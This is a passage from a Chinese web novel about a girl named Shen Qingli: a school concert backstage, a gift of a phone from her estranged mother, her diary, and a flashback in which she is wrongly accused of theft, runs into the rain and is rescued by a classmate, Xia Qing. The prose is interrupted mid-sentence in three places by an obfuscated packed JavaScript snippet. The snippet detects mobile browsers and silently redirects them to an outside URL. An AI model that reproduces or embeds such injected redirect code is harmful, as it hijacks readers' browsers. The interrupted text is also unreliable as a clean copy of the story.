闻言,她也没多想地点点头,舞台外面的第一场表演已经结束了,他们预备着要上台,在上台前,沈青梨明显地听到了洛伊秋悄悄询问赵逸霄的声音:“你感觉我身上的这条裙子怎么样?” 她和他凑近“咬耳朵”,赵逸霄有些不好意思地往旁边站了站,不过至于对方的回答,应该也只有洛伊秋知道了。 看着他们两走到舞台上,面前的幕布已经升了下来,两人在钢琴前调整做准备。 很明显,他们应该是要表演四手联弹,沈青梨站在后台的幕布后面看了他们几眼就想要离开,只是这时,林夏清正好从另一道门走进来。 沈青梨听见开门的声音,回头望去,和站在门口的他看见彼此皆是一愣。 林夏清看见她在这有些意外,他脚步停顿了一下,才关上身后的门走了进来,找了个位置坐下。 他身上还是穿着刚才沈青梨在台下看见的黑色西装,只是现在近距离地看见他,和刚才远远地望着他给她的感觉完全不一样。 台上的林夏清是冰冷和平淡的,但他和洛伊秋一样,面对台下无数的目光和议论不会露出一点青涩怯场的模样,他看着特别游刃有余。 但如今面前的他,原本额前被发胶梳上去的刘海耷拉下来,显得他整个人周围的磁场都变温和了不少。 现在一整个硕大的后台休息室里就只有他们两个人,眼下沉默又尴尬的气氛让她有些不知所措,见林夏清一直低着头,并没有要和她搭话的意思,她犹豫了一下,还是打算先一步离开这里。 但等她迈起步子要离开的时候,身后的人像是终于听到动静抬起了头,他轻声地喊住她:“在这里坐会吧。” “什么?” 察觉到她向自己投来的目光,林夏清冲她解释着:“他们的表演马上要开始了,你现在要是走的话,大概会错过他们钢琴表演。” 他的话没说错,还没等沈青梨考虑,台上已经响起洪亮的掌声,随着掌声慢慢平息,钢琴声缓缓响起。 她透过幕布看了一眼台上并肩的两人,又看了一眼林夏清,觉得他说得也没错,就找了他旁边的椅子里选了一个最外边的椅子坐下,刚刚好能看清前面的表演。 也正如陈朝喜说得那样,台上并肩而坐的两人配合得实在是默契,连她这个不懂钢琴的外行都不得不感叹一句。 他们弹奏的那首歌沈青梨听过,是之前一部电视剧里的曲子,叫做《一直很安静》。 “……明明是三个人的电影,我却始终不能有姓名。给你的爱一直很安静……” 洛伊秋的声线很柔和,唱起悲情歌来给人一种娓娓道来的感觉。 不知道是不是受现场这首歌的影响,沈青梨从侧面看着他们两人的身影,白色的灯光落在他们的身上,洛伊秋和赵逸霄默契地对视一眼,冲着彼此露出一个笑,然后循序渐进地弹到曲谱的高潮部分,她看着面前的场面不禁神色都恍惚了一下。 突然地,她的脑海里骤然回想起了刚才沈青芸落荒而逃的背影,她隐约觉得自己姐姐的匆忙离开,也许就是为了避开这场表演,就和她刚才想要避开林夏清和洛伊秋一起的主持一样。 想到这,她垂下眼,听着外头表演结束而响起的掌声,不知道为什么,她竟然也有些为沈青芸而感到难过。 她第一次觉得这首歌那么符合此时此刻她的心境,过去年纪小,在电视里听到这首歌也只是觉得好听,如今却觉得格外应景。 一直很安静,不会拥有姓名。或许也是她这段感情的宿命。 - 第二场表演结束时,林夏清站起身来走到了她的身边,他默默抬起眼看着她,见她情绪低落,下意识地透过幕布的空隙看向外头的人。 朝着观众台的幕布已经缓缓下了下来,赵逸霄和洛伊秋站起身来,两人看着对方,嘴边玩笑般互相“吹捧”着彼此今天的表现。 面前就只有这两个人,他自然而然地将沈青梨失落的原因归在了他们的身上。 他又突然想起前几次和今天看见她和赵逸霄站在一起的谈话,眼神都晦暗了一瞬。 但也只有几秒,在沈青梨注意到他站在自己身边,向他投去目光的之前,他已经调整好了脸上的表情。 随后,他像是没有注意到沈青梨的眼神,手里拿着两个话筒,径直拉开面前的幕布朝着洛伊秋走去。 他走到对方的面前,把手边的另 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16186983|180687||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一个话筒递给她,随后两人一齐走到幕布前,给幕后的同学提供搬走整理舞台上乐器和东西的时间。 沈青梨盯着他们消失在眼前的背影,不知道是不是刚才因为这首歌被牵出来的情绪一时无法消化,她莫名觉得眼睛都有点酸,胸口那股难受的情绪重新又蔓延了上来,甚至比一开始更甚。 她下意识地想要离开这个地方,却在离开前注意到另一个人。他望着不远处,久久才收回自己的目光,脸上远远没有了刚才那样开心的表情。 像是注意到身后有视线在看着自己,他转过身,见是沈青梨,他礼貌地冲她笑了一下,抬起腿走进后台,走到了她的身边,笑着问起自己和洛伊秋的这段表演怎么样。 沈青梨见他过来和自己搭话,眼下也不好直接走开,只好被迫停下脚步来,说道:“很好听,之前听陈朝喜说你们在初中就替学校拿了很多奖,果然名不虚传。” 这话是她的真心话,想来等这场文艺晚会结束之后,赵逸霄和洛伊秋的这场表演一定会成为高一部学生很长一段时间的谈资,因为的确是太出彩了,这在苏市一中里都很少见。 “朝喜就喜欢夸大这些事情,倒也没有她说得那么夸张。”赵逸霄倒是被她的话夸得有些不好意思起来。 知道对方是谦虚之言,沈青梨也不由得跟着他笑了一下,没继续说什么。 她听着外头话筒里传来的声音,第三场表演马上就要开始了,但现在她并不想看见林夏清,生怕再碰到刚才的那副情景,她还是想要先离开这里。 只是这会赵逸霄大概是觉得他们两个人都不说话,怕冷场尴尬,开口岔着话题问她:“我听伊秋说你没有报任何表演啊?” “啊对,我在这方面没什么天赋,也没有什么特长。”她随口回答着,心里却在思考该怎么和赵逸霄说自己要先回去了的事情 不过对面的人明显误会了她的话,以为她是因为这件事情而感到失落,倒是安慰她起来:“没事啊,每个人都有自己擅长做的事情,和不擅长的事,就像我,虽然会弹钢琴,但其实我唱歌五音不全,所以全部演奏的歌曲都只能让伊秋来唱。” 第一次知道这些,沈青梨也有些惊讶:“学长你居然不会唱歌啊?” “是啊,所以人有擅长的,就会有特别不擅长的哦。”他笑了笑,顺嘴问着她:“有句话说得好,上帝为你关上了一扇门,就一定会给你打开一扇窗,同理反过来也是一样的,而我们只要找到属于我们的那扇窗就可以了,对吧。” “……”好像被突然又不明所以地灌了文字“鸡汤”,她不知道该怎么回答,只能默默点点头表示赞同。 大概是也意识到自己说的话有点太严肃,赵逸霄笑着找补道:“是不是觉得我怎么满嘴都是张口就来的大道理?其实主要是最近被你们班陈老师一个劲追着问自己以后想干什么和理想大学是什么,听他苦口婆心地讲道理,现在下意识地就问出来了。” 说到这个他似乎也有点头疼,嘴边半玩笑着:“不过等你们到了高二估计也逃不开陈老师的‘逼问’,提前给你们提个醒,需要早点想好哦。” 他嘴边的话说得夸张,很明显是在活跃他们两人之间的气氛。 沈青梨自然也明白,所以也跟着一起玩笑道:“好的我知道了,那提前谢谢你了学长。” …… 只是在她的玩笑话里,她想起在不久前,也有人问过这个问题。 她没有说自己好像早就有了一个梦想,只是那个梦太不切实际,她只告诉了一个人,那是只有对方知道的秘密。 11.苦夏 沈青梨和赵逸霄闲聊完后就回了自己的观众席位子上,过了一个小时多,台上的演出才终于都结束了。 表演结束后高一班级的学生就按照顺序离场,然后就放学了。 沈青芸她们早早已经下了课,所以她就站在门口等着沈青梨。 见她出来,她喊着她:“阿梨,走吧,回家了。” “哦好。”她和身边的陈朝喜打了个招呼,就跟着沈青芸一起走了。 - 她们朝着校门口走去,在路上,沈青芸不经意地问起她今天晚会的表演,问她玩得开心不开心。 “还行吧,大家都表演挺好的。”她清楚沈青芸的问题是醉翁之意不在酒,但她也不想提起赵逸霄和洛伊秋的表演,因为她想,不管自己说什么,沈青芸应该都不会感到多开心。 “是吗……”看她兴致缺缺的样子,沈青芸垂下眼睑,没有继续问后话。 - 她们两一路沉默着回了家,各自都怀揣着不可告人的心事。 回到房间沈青梨拿出书包里的作业刚要开始写,沈母却突然敲门进来:“青梨。” 听见声音,她下意识地想要逃避,但还是被迫转过身来勉强扯出一个笑问道:“怎么了吗?妈……妈。” 沈母接触到她的目光,又像是被烫到了般移开目光,不敢看她的眼睛。 她手里拿着一个盒子,犹豫地放在她的面前,语气生硬温柔着:“我之前听小芸说你没有手机很不方便,妈妈就……给你买了一个,你以后带着,爸爸妈妈和姐姐也好打电话联系你。” 话落,沈青梨被推到自己面前崭新的包装盒明显一怔,她完全没有想过面前的妈妈会给自己买一部新的手机,所以她一时居然都不知道该给出什么样的反应。 看她没有反应,沈母还以为是她不喜欢,顿时整个人也变得不知所措起来:“你要是不喜欢这个牌子的,我就拿去退了,让小芸带你周末日去商场买……” “不用了,我很喜欢。谢谢妈妈。”她掩下心底酸涩的情绪,打断她的话,抬头冲她笑了一下。 “那就好,那你自己拆开开机看看,有不会用的就问你姐姐,妈妈不打扰你写作业了。”看她脸上露出真心的笑,沈母悬着的心也终于落了下去,她说完话,就自顾自地关上了卧室的门,离开了。 现在房间里就又只有沈青梨一个人了,她呆呆地看着桌子上的东西,心里五味杂陈的,有开心又好像有点难过。 她在想如果现在自己是沈青芸的话,对方大概会在收到这份礼物的时候,就会开心地抱住沈母。可惜她不是,所以只能在这份礼物面前表露出慌张的情绪,她第一反应是不敢接受这份太贵重的礼物,哪怕知道是她自己亲生的妈妈送给她的。 她无法坦荡地接受,也做不出亲昵的行为,只能像个木头人一样轻声说句谢谢。 沈母自从上次沈青芸生病对她态度不好之后,像是为了给她道歉,最近这几周都很关心她,包括这个手机,虽然她不说,但沈青梨知道这是她道歉的赔礼。 父母对子女的对不起好像永远都是难以说出口的,似乎只要道歉的话一说出来,就会有损他们的威严,所以只能用其他的方式去弥补。 她深知这些,所以心底的情绪才越来越复杂,她知道沈母和沈青芸平常的相处,她们之间就算有口角也不会像沈母这样买东西来讨好她,她们作为血缘最亲近的母女,却在对待彼此都始终小心翼翼的。 这或许才是最让人没办法的吧,她叹了口气,把面前的盒子拆开,拿出里面全新的按键手机。 她摸索了一会,就差不多弄懂了手机上的全部功能,她按照记忆把爷爷奶奶的电话输入进了通讯录,这样以后想他们就不用一直借沈父沈母的电话打回老家了。 为了以防万一,她也把原先沈青芸给自己家里人的联系方式也都存了进去,把手机里基本的信息都弄好,她骤然想起了什么。 她起身从书包里拿出一把金属的钥匙,打开书桌后面暗格的柜子,柜子里空荡荡地躺着两样东西。 一本高一数学的练习册,和一本黑色的日记本。这都是她从爷爷奶奶家带过来的,这把金属锁是当时沈青芸给她的。 她刚来的第一天,她就嘱咐她,有什么重要不能给爸爸妈妈看到的东西记得找个他们不知道的地方锁起来,否则一定都会被沈母翻到,后面果不其然,除了不容易被注意到的暗格,她房间里的所有东西都被沈母借着收拾房间的名义给翻得干净。 想着,她看着柜子里的两样东西不知不觉又叹了口气,其实最应该和这本日记被锁起来的东西早就不见了。 只是她又忘记了……她要找的东西已经不在这里了。 想到这,她犹豫地看着面前的柜子,最后还是把那本日记本拿了出来。 翻开第一页,本子最上面赫然写着一行字。 “讨厌这个多雨的夏天。”日期的落款在三个月前,是她刚来到这个家里的日期。 看见那行字,她翻着日记的动作都顿了一下,其实她并不爱写日记,只是初中的语文老师逼着她们每周都要上交一份日记,顾名思义练习写作能力,所以才被迫练出来的习惯,但她的日记就和现在的一样,毫无感情地随便记录着自己当下的心情。 反正是给自己看的,她想,也不用再像应付老师一样写满满当当的一页。 第一页上几乎都是些乱七八糟的坏情绪,她随意扫了几眼就翻第二页,这时窗外却突然亮起几道闪电,随后跟来的是轰隆的雷声,她面前的窗户开了一小半,一场大雨毫无征兆地落下,雨滴拍打进屋,甚至有几滴砸在了她的日记上,雨渍落在第二页的某一句话上被晕染开,她眼神一暗,像是为了掩盖什么匆匆忙忙地立刻翻下一页。 …… 从某一页起,纸上的内容开始变得密密麻麻,和前几页稀稀拉拉的内容形成了鲜明的对比,她一行行地看下去,意外发现那时记录下的居然都是好心情。 望着上面满怀悸动的少女心事,她也不由得勾了勾唇,但很快,她又突然想起前几天洛伊秋神秘兮兮拉着她询问的话语。 “青梨,你以前认识林夏清吗?” 一个意料之内但又有些意外的问题,她能看出洛伊秋大大咧咧的外表下,超乎常人敏感的观察力,但也实在没料到她会问得那么直接。于是她都不禁怔住了几秒。 沈青梨没有第一时间回答,而是反问她:“你为什么突然问这个?” “哦,就是有种直觉,感觉你们俩上次在操场的时候看着好像认识的样子,但是我问了林夏清,他说他不认识你,但 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16197361|180687||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我总觉得有点奇怪,所以我想来问问你。”洛伊秋始终都相信自己的第一直觉,她深知再问林夏清估计是问不出来什么,所以干脆就来问沈青梨了。 “他说……他不认识我?”沈青梨却一下子就抓住了洛伊秋嘴边的重点,听到这句话后,连面色都僵住了一瞬。 “是啊,所以你认识他吗?”洛伊秋倒是没发现她的不对劲,依旧问着。 “……” 面对她掩藏不住的好奇样子,沈青梨却低下头,她骤然笑了一声,不知道是在笑谁,她有太多困惑,但林夏清的这句不认识,让她心口控制不住地发闷,叫人难受。 过了好半晌,她才用力地咬了一下嘴唇,努力让自己不要失态,然后语气生硬地说出了和林夏清一样的回答:“不认识。” “好吧……”听她都这样说了,洛伊秋只好点点头,她开始怀疑自己一向看人很准的直觉。 沈青梨盯着她,不知道是在想什么,过了很久很久,她终于能平复下心情,才开口佯装不经意地问道:“你……和林夏清之前也是一个学校的吗?” “我看你们关系好像也挺不错的。”像是担心自己的问题有些刻意,她特地找补了一句。 “那倒不是,他之前好像是在其他地方读的初中吧,也没有很熟啦,只是他爸爸和我爸关系不错,有的时候会去他们家吃个饭之类的。” 因为是她先提起关于林夏清的问题,所以沈青梨的顺势提问,她也并没有察觉不对劲。 反倒是听对方这样说,更加坐实了他们两的不认识。 听她这样说沈青梨随意地点头,她其实问了一个自己一开始就清楚的答案,却又从这个答案里知道了一些其他的事情,想到这,她彻底变得无力起来。 她觉得自己的左右脑在互搏,一些从洛伊秋嘴边知道的消息和她自己知道的事情,像是存在了两个平行时空般,她都要有些分不清了。 沈青梨闭上眼睛叹了声气,仍由着洛伊秋拉着她回教室。 一路上,洛伊秋像是还不死心,继续追问着:“青梨你真的和林夏清不认识啊?你可别骗我哦。” …… 想到这件事,她抬眼看着那个是凸出来的暗格柜子,柜子最底下的那本练习册,本子书封上写的却并不是她自己的名字。 而是另外的两个字。 夏清。 她盯着柜子的方向出神,却也没有勇气拿起里面的东西。 某种意义上,她也的确没有骗洛伊秋,她认识的那个人,并不叫林夏清。 直到窗外的风雨越来越大,雨滴不停地砸在她的手上,冰凉的触感叫她回神,她站起身来,想把窗户关上,只是外头突然扬起一阵风雨,书桌上的日记本上像是被一只看不见的手不停翻动着。 命运像是指引着一切,她停下手边的动作,发现日记上的内容重新停在了她刚才刻意避开的那一页,她逃无可逃。 那滴雨滴落在日记上,晕染了黑色的墨迹,离远了看倒更像是一滴眼泪。 字迹被打湿,都要变得模糊看不清,她却比任何一个人都记得这一页的内容。 那是一切又一切的开始。 2012年7月10日,初夏,暴雨。 碰见了一个有点讨厌的人。 …… 12.苦夏 外头的雨声不停,两个月前的那天,也是这样的一个夜晚。 沈青梨回到这个家后一开始和沈夫沈母相处得并不融洽。 她的习惯和沈母的极度不同,沈母在家有洁癖,连地板上的一根头发丝和水滴都受不了。 沈青梨以前和爷爷奶奶住在一起,对她的强迫症和洁癖都无法适从,所以光是开始,她就在这个家感到了一阵不自在,但为了让爷爷奶奶放心,她仍在努力适应着。 真正的爆发是在一个雨夜,沈父放钱的柜子里丢了1000块钱,这件事情本来和她一点关系都没有,可是那时他们夫妻俩虽然没有说出怀疑沈青梨的话,但是话里话外几乎全在暗示她。 沈青梨当时对他们的话就感到很不舒服,她想他们一定是误会了自己什么,只是那时候的她刚刚回家,和对自己的父母还抱着不应该有的期待。 虽然她嘴边总是别扭地说着不需要爸爸妈妈,但是看着身边的同学、朋友,大家的父母好像都对他们很好,孩子都是会学样的,她看着周围幸福的家庭,自然而又地也会觉得自己的父母应该也会像她同学们的爸妈一样对自己。而她也应该和其他的孩子一样,爱着自己的父母。 所以她从来没有想过,也不想去想,自己会在回到爸妈家没几天后就被他们冤枉。 那个夜晚,她的爸爸敲响她房间的门,走进来做出一副苦口婆心的模样劝她道:“小梨,你要是缺钱的话就和爸爸妈妈说,爸爸妈妈都会给你的,但是你不能……” 听出他的话里有话,沈青梨原本就紧皱眉头的脸顿时垮了下来,她冷着脸,第一次很不客气地打断他的话道:“爸爸你的意思,是觉得是我偷了你丢的钱是吗?” 她质问的声音传来,沈父的脸色也立马变得不好起来,他尴尬地笑了笑,强词夺理道:“小梨,爸爸没有那个意思,爸爸只是想说,你要是真的不小心拿了柜子里的钱,你就还回来,爸爸妈妈也不会怪你的。” 不小心?她难以置信地看着面前的沈父,第一次对他感到既心寒又陌生,他这句话里的不小心谁会相信呢?不管怎么说,其实都是在怀疑她偷钱了而已。 想到这,她从刚才就隐忍着的情绪彻底爆发,沈青梨猛地站起身来,声音控制不住地变尖锐,她为自己极力辩解道:“我没有拿你们的钱!你们的钱丢了不去报警,为什么要在这里怀疑我?” 被人冤枉的情绪很不好受,被自己的亲爸妈污蔑的感觉更是让她委屈又难过,想到这,她用力地死死咬着嘴唇,鼻子却不争气地一酸,眼泪不受控制着涌出眼眶,她哽咽道,声音却越来越大:“你们有什么证据吗?凭什么这样不分青红皂白地就给我定罪?” 最后一句话,她几乎是嘶哑着声音吼出来的。 沈父没想到面前以往温顺的女儿会突然反抗自己,他脸色一黑,外头的沈母听到房间里的大动静,也急忙跑过来,只是她甚至都没有问清楚事情的缘由,就指责着沈青梨道:“小梨!你怎么可以这样和你爸爸说话!” 沈母走进来想要缓和父女俩之间的气氛,她上前拽着沈青梨的胳膊,催促她:“小梨,快点和你爸道个歉。” “凭什么是我道歉?”她皱着眉头觉得很荒谬,“明明是你们冤枉我,为什么现在又是我的错了?” “这钱不是你拿的还能是谁?家里一共就四个人,我看你爷爷奶奶不知道怎么教你的,居然教出个偷自己家里钱的孩子来。”沈父看她这幅态度,觉得自己在家的威严被挑衅,说出口的话也变得格外难听:“当初就不应该答应你爷爷的要求,就不该把你带回来!” “你干嘛要说爷爷奶奶!”她听不得任何人说自己爷爷奶奶的坏话,尤其明明是她面前的这对夫妻把她抛给了爷爷奶奶照顾,如今又在这里指责他们的教育,他们是最没有资格这样说的人。 “要么你今天道歉,然后把钱拿出来,要么你现在就滚回去,这个家里不欢迎你!”沈父见她还是死死不肯低头,语气愠怒着,嘴边说出来的话也开始变得口不择言。 事到如今,他也还是觉得是自己偷拿了家里的钱,沈青梨意识到这个事实,心寒地自嘲了一声,她看了这对夫妻一眼,声音委屈颤抖着:“走就走,我本来就不想待在这里!” 话落,她拨开身边沈母的手,朝着门外快步跑出去。 身后很快传来沈父暴怒的声音:“让她走!有本事就别再回来!” 听到这话,她打开门的动作更加用力,跑出家门的时候,外面下着大暴雨,她却没有犹豫一秒,径直冲进了暴雨里。 沈母出来追她的时候已经来不及了,她看着跑远不见的人,露出慌张的神色。 听见身后沈青芸跑出来的脚步声,她刚才在楼上洗澡,所以楼下发生的一切什么都没有听到,只是听说沈青梨跑了,就慌慌忙忙地跑下了楼。 见外头漆黑一片,大雨丝毫没有要停下来的意思,她拽着沈母,指责着她:“妈!你们怎么可以这样冤枉妹妹!” …… 后来听沈青芸说,当时她们撑着伞找了她很久,但是都无果。 而那丢了的钱,在她离家的第二天,在家里另一个不起眼的角落里被找到了。 - 黄豆般大的雨滴狠狠地砸在她的身上,让人感到生疼。 沈青梨顺着记忆跑到了一个公交车站,她一个人孤独地坐在车站的木椅上,低头看着自己湿透了的衣服,发梢上的水还在一滴滴砸下来,模糊了她的视线。 周围吹来一阵冷风,她不禁打了一个冷战,看着自己狼狈的样子,她努力忍着不想哭出来。 人受了委屈就最想回家,所幸她今天的运气不算太烂,口袋里还装着几块钱,而迎面驶来一辆回家的末班车,她在司机诧异的目光上拖着一身水走上了车,找了一个最里面靠窗的位置坐下,她重重地把脑袋抵在窗口,额头传来轻微的痛疼,她却不想管,眼看着公交车朝着爷爷奶奶家的方向开着。 良久,沈青梨垂下眼,她偏过头一行眼泪悄悄地划过眼角,无声地砸落在地上。 后来夏清曾问过她,为什么总是在偷偷地哭,她说自己也不知道,但她清楚自己是没有哭的权利的,因为她知道眼泪向来都没有用。 - 晚上十点半,历经几次转车后的沈青梨终于回到了熟悉的地方。 她拖着疲惫的身体站在车站,外头的雨总算变小了,她现在觉得很冷,干湿的衣服紧紧贴在她的皮肤上很不舒服。 沈青梨朝着家的方向走去,一路上小巷子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16230182|180687||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 都没有什么人,可是走到一半,她又骤然想起前不久爷爷奶奶苦口婆心嘱咐自己的话。 他们让她好好和爸爸妈妈相处,不要闹脾气,凡事遇到什么也忍让着点,不要惹他们生气。 想到这个,她脚步都一顿,突然有些不知道该何去何从,她怕自己回去爷爷奶奶也只会劝她不要赌气,然后又把她送回那个家,也害怕他们责备自己“离家出走”的行为。 可她现在压根就不想回去,害怕又被送回去,也害怕再去面对自己的父母。 她心头涌上一股无力感,眼下她竟然觉得自己好像是无处可去的。 只是大概是屋漏偏逢连夜雨,正当她站在原地不知道该怎么办的时候,天上又开始下雨了。 见状她无奈地抬头看了一眼乌黑一片的天,今晚连月亮都看不到,周围微弱的灯光照在路上,也没有什么用。 打在脸上的冷雨越下越大,她只能又匆忙地再找地方躲雨。 跑在崎岖的石头路上,她一个没注意脚下一滑,整个身体不受控制地朝着前面摔去,千钧一发之际,她及时手撑了一下地面,才总算没有那么狼狈地整个人摔在地上。 但是她的手掌和暴露在外的膝盖还是被地上的石子和泥沙划伤,身上传来的疼痛在雨声里被加重。 她强撑着力气让自己站起来,迷茫地望着四处,最终还是艰难地在一个小卖部的门口找到了暂时的栖身之处。 沈青梨像是彻底没了力气再挣扎什么,她蹲下身来,觉得今天真是自己最倒霉的一天。 看着面前源源不断砸在地上的雨滴,很快在她眼前形成了一小滩的河流。 外头的风吹着雨水不留情面地溅落在她的身上,一天紧绷着的情绪在此刻终于彻底崩盘,她低下头,将脸埋在交叠着的胳膊里,小声地啜泣着。 不知道过了多久,她在嘈杂的雨声里听到一阵靠近的脚步声,听到那个声音,她才缓缓抬起头,顶着肿得像核桃的眼睛,沈青梨看见面前的少年撑着一把黑色的伞站在雨里,他和她四目相对,明显对方看到她也是一怔。 淅淅沥沥的雨里,夏清正错愕地看着她,半晌,他才像是刚找回自己的声音,迟疑地开口道:“你……” 看见是他,沈青梨一时连哭都忘记了,她方才还在想今天都倒霉成这样了,还有什么能让她更倒霉的? 还没想多久呢,让她更倒霉的事情就发生了,好死不死一定要在这个时候遇到夏清。 她咬着唇,又猛地把脑袋埋回臂弯,开始祈祷对方没有认出自己。 “沈青梨?你怎么在这?” 很好,祈祷失败。 夏清喊着她的名字,又看着她一系列的动作更加困惑地问:“听你奶奶说你不是和你爸爸妈妈回了市里吗?你现在这样是?” 看她身上的衣服湿漉漉的,又带着脏兮兮的污渍,一个人蹲在这里看着很可怜的样子。 但沈青梨现在完全没有闲心和他解释,她依旧保持着刚才的动作,声音闷闷地传来:“对,我就是回市里了,所以你就当做没看见我吧。” 夏清:“?” 过了好久,她都没有听见对方的回答,等她疑惑地再抬起头时,面前已经空无一人。 他还真走了。 13.苦夏 正当她不知道是该失落还是高兴的时候,夏清又再次撑着伞折返了回来。 他把伞偏向她的头上,手里多了一样东西。 沈青梨呆呆地抬头看向又重新回来的他,见他把手里的一包纸巾递给她,他说:“擦擦吧。哭得怪丑的。” “……”原本还有点不好意思接过他纸巾的沈青梨无语了一瞬,她赌气般用力地接过,拿出一张胡乱擦着自己脸上已经干了的眼泪。 脸上的眼泪被风吹得干涸,现在她感觉自己脸上传来火辣辣的一阵疼。 而夏清从头到尾就这样静静地站在那儿看着她,手边为她撑着伞不动,但也不讲话。 注意到他的动作,沈青梨抬眼直挺挺站在自己面前的人,很别扭也很小声地说了句:“谢谢。” “不用,不过你现在这副样子,真的不需要回家吗?”他摇摇头,露出担忧的样子询问着她。 闻言,她不知道该怎么回答,一时又沉默下来。 看她不说话,夏清也不着急,他保持着手上的动作,就和刚才一样,安静地等着她的回答。 “……” 周围起了风,偏斜了方向的大雨飘进屋檐下,但因为夏清挡在她的面前,大部分的雨水都飘在了他的身上。 看他是因为自己才被迫淋雨的,沈青梨顿时不好意思来,半晌才支支吾吾道:“我……我现在不想回我爷爷奶奶家,也不想回市里……” 话说到最后声音变得越来越弱,她都害怕面前的人觉得自己是在找茬,但她现在的确不想回自己名义上的任何一个家。 话落,显然夏清也没料到她会这样说,明显也愣了一下。 注意到他的表情变化,沈青梨绝望地低下头闭上了眼,此时此刻想挖个坑把自己埋进去的心都有了。 他们两人都沉默了一瞬,正当她觉得现在的气氛很尴尬凝固的时候,头顶却突然传来夏清妥协的声音:“好吧,不过我建议你还是不要待在这里了,外面的雨越下越大了,雨飘进来你蹲在这里也还是会被淋湿的。” 说罢,外头的雨随着他的声音愈发大了起来,沈青梨清楚他说的是实话,可是她现在是真的不知道自己还能去哪里。 “我暂时没地方去。”她用力地咬咬唇,盯着手里皱巴巴的纸,有气无力地说着。 夏清自然也知道,所以他低下头盯着她的脑袋几秒,像是在犹豫什么,但遭不住身后的大雨,伴随而来的还有阵阵雷声。 于是他踌躇了半晌,还是开口试探着问她:“你要是不介意,我可以帮你找个临时落脚的地方。” 没料到对方会这样说,沈青梨原本已经做好了他再次离开的准备,所以她有些诧异地抬起头,意外他居然会帮自己。 而对方接触到她惊讶的眼神,他别过头,轻咳了声解释道:“好歹同学一场,我倒也不至于在这个时候对你见死不救。” 好吧……这行为和说的话的确很符合她认识的夏清。 不过眼下她也没有其他的选择,于是沈青梨几乎没有考虑多久,就点了点头答应,随后感激地冲他笑笑:“那谢谢你了。” “没事。” 夏清见她答应就想要拉她起来。 但应该是双腿蹲在地上太久了发麻,外加刚才受伤的膝盖上还在冒血,沈青梨站起来的一瞬间,整个人都抽痛地倒吸了一口凉气,她的双腿一软,要不是扶着夏清的手,现在估计又要摔一次。 注意到她腿上受了伤,两人面面相觑着。 “还能走吗?”他担心地问着。 “可能不太行……” 听她这样说,夏清抿了抿唇,最后把手里的伞塞在她手里,在她一脸抱歉的神色下,自己转过身来,将后背留给了她。 看着他的动作,沈青梨怔了一下,她一时没有反应过来,看了看手里的伞,又看了看他,想要开口说着什么。 话还没开课,就听夏清说道:“上来吧,我背你,不然就按照你现在这个走路的速度,我们两都会在雨里被淋成落汤鸡的。” 知道他的话说得没错,可她看着自己湿得能递水的衣服有些犹豫,只是正当她刚要开口,就瞥见了对方衣服后背上也湿了一大片。 应该是刚才站在她面前被雨打湿的。 见状,她更加愧疚了,不知道是不是此刻又是受伤又是淋雨,她格外脆弱,眼睛都不争气地覆上一层水雾,她憋着眼底的眼泪,无法再开口说出拒绝的话,只好点头轻声答应:“好,谢谢你。” 闻言,夏清听到她同意,不经意地松了口气,只是下一秒,他后背又顿时紧绷了起来。 沈青梨同样也好不到哪里去,她尴尬地咬着唇,在听到对方提醒自己撑好手里的伞后,才愣愣地点点头。 两人走在大雨里,雨声喧嚣,沈青梨却觉得自己此刻的心跳声比这场大雨的声音还要乱。 他们一路都无言,过了很久很久,她眼看着面前的这条路越来越眼熟,才终于开口小声地问他:“所以我们去哪儿?” “我家。” “啊?”她惊讶地下意识喊出来,随后整个人都有些慌乱:“不是,你没跟我开玩笑吧?” 沈青梨的反应完全在他的意料之内,所以他摇了摇头说道:“没有。” “不,不太好吧,夏阿姨看到我会不会……”她顾虑地想要说什么,却被夏清很快打断。 “不会,我妈不是一向最喜欢你了。”他一句话否决了她的多虑,又继续道:“而且我看你腿上受伤了,总得找个地方处理吧。” “好吧……你说得对。”她感受得到手心和膝盖上传来的阵阵疼痛,不自然地看了看自己环在他脖子上的手,因为两手的手心都破了,所以一只手拿着伞的动作她都不敢太用力,不过夏清应该是没发现。 想到这,她不由得遮掩着,不想让自己手上的伤口被对方看出来。 注意到背上她的动作,但他却没有揭穿,似乎是在以此保护她现在脆弱的自尊心。 毕竟在沈青梨的眼里,被自己撞见她那么狼狈的时刻,应该是件特别羞愤的事情。 而沈青梨此时此刻和他想的一样,她看着自己这副样子深深地叹了口气,她呼吸的热气扑在夏清的脖颈上,让他后颈起了一小片鸡皮疙瘩,他迈着步子的动作也明显顿了一 